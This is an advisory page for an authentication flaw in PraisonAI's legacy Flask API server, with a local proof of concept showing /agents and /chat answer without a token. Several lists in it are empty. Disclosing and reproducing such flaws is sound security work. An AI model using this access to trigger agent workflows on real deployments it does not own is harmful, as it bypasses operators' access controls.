MISFIRE

Browse / AI Framework and Platform Flaws / CVE-2026-44338

PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution

CVE-2026-44338 ยท 2026-05-11 high

Class
AI Framework and Platform Flaws (filed by a model that read the source)
Technique
Authentication and access control
Also involves
Tool and Agent Misuse
Affected
praisonai (PyPI)
Gets past
Authentication check
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
EPSS
32.6% chance of exploitation in 30 days

How it works, in short

The legacy server ships with authentication disabled, so anyone who can reach it can trigger the configured agent workflow without a token. (Our summary, written by a model. The source text is below.)

Details

Summary

PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access /agents and trigger the configured agents.yaml workflow through /chat without providing a token.

Details

The vulnerable server is the shipped src/praisonai/api_server.py entrypoint.

The deploy subsystem keeps the same insecure authentication default:

For scope clarity: the newer serve agents command is safer by default, because it binds to 127.0.0.1 and supports --api-key in [src/praisonai/praisonai/cli/commands/serve.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.

Version scope:

PoC

The following route-level reproduction was verified locally and proves that the shipped api_server.py exposes /agents and /chat without authentication.

python3 -m venv /tmp/praisonai-ghsa-venv
/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors
/tmp/praisonai-ghsa-venv/bin/python - <<'PY'
import importlib.util
import pathlib
import sys
import types

stub = types.ModuleType("praisonai")

class DummyPraisonAI:
    def __init__(self, agent_file="agents.yaml"):
        self.agent_file = agent_file
    def run(self):
        return {"ran": True, "agent_file": self.agent_file}

stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub

path = pathlib.Path("src/praisonai/api_server.py").resolve()
spec = importlib.util.spec_from_file_location("api_server_local", path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)

client = mod.app.test_client()
print(client.get("/agents").status_code, client.get("/agents").get_data(as_text=True))
print(client.post("/chat", json={"message": "hello"}).status_code, client.post("/chat", json={"message": "hello"}).get_data(as_text=True))
PY
200 {"agent_file":"agents.yaml","agents":["default"]}
200 {"response":{"agent_file":"agents.yaml","ran":true},"status":"success"}

Both endpoints succeed without any Authorization header.

Impact

Any reachable caller can invoke the legacy API server's protected functionality without a token.

At minimum, this allows:

This is not the same as arbitrary prompt injection by itself, because the current /chat handler ignores the submitted message value and simply runs the configured workflow. The impact therefore depends on what the operator's agents.yaml is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.

References

Source: GitHub Advisory Database, used under CC BY 4.0.